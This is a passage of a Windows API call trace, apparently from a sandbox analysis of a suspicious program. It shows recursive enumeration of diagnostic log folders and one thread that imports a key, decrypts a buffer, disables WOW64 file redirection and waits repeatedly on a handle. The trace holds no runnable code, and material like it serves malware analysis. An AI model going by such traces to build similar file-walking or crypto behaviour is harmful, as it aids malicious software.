	[0063.941] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.956] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d5cadbc, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger", cAlternateFileName="AUTOLO~1")) returned 1
	[0063.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa688
	[0063.960] FindNextFileW (in: hFindFile=0xbaa688, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.960] FindNextFileW (in: hFindFile=0xbaa688, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1
	[0063.960] FindNextFileW (in: hFindFile=0xbaa688, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 0
	[0063.962] FindClose (in: hFindFile=0xbaa688 | out: hFindFile=0xbaa688) returned 1
	[0063.962] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.962] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScenarioShutdownLogger", cAlternateFileName="SCENAR~1")) returned 1
	[0063.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa5c8
	[0063.962] FindNextFileW (in: hFindFile=0xbaa5c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.962] FindNextFileW (in: hFindFile=0xbaa5c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.962] FindClose (in: hFindFile=0xbaa5c8 | out: hFindFile=0xbaa5c8) returned 1
	[0063.962] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.963] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 1
	[0063.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa608
	[0063.965] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.965] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1
	[0063.965] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 0
	[0063.978] FindClose (in: hFindFile=0xbaa608 | out: hFindFile=0xbaa608) returned 1
	[0063.978] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.979] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 0
	[0063.979] FindClose (in: hFindFile=0xbaa848 | out: hFindFile=0xbaa848) returned 1
	[0063.979] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.980] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_CostDeferred.rbs", cAlternateFileName="EVENTS~3.RBS")) returned 1

Thread:
	id = 25
	os_tid = 0xe40

	[0062.269] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2f50088
	[0062.269] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10000) returned 0x2f60090
	[0062.270] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x28) returned 0x27211f0
	[0062.270] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x110102) returned 0x34d6020
	[0062.273] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x50) returned 0x2721220
	[0062.273] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f730 | out: phKey=0x310f730*=0xbaa308) returned 1
	[0062.273] CryptSetKeyParam (hKey=0xbaa308, dwParam=0x1, pbData=0x310f718, dwFlags=0x0) returned 1
	[0062.273] CryptDecrypt (in: hKey=0xbaa308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721220, pdwDataLen=0x310f6e4 | out: pbData=0x2721220, pdwDataLen=0x310f6e4) returned 1
	[0062.273] CryptDestroyKey (hKey=0xbaa308) returned 1
	[0062.273] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000
	[0062.273] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0062.273] Wow64DisableWow64FsRedirection (in: OldValue=0x310f77c | out: OldValue=0x310f77c*=0x0) returned 1
	[0062.273] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721220 | out: hHeap=0x2720000) returned 1
	[0062.273] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.274] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.275] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.276] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.276] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.276] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.276] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.276] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.276] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.276] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.276] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.276] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.276] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.277] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.277] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.277] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.277] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.277] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.277] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.277] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.277] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.277] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.278] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.279] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.280] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.281] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.282] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.283] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.284] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.285] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.286] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.287] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
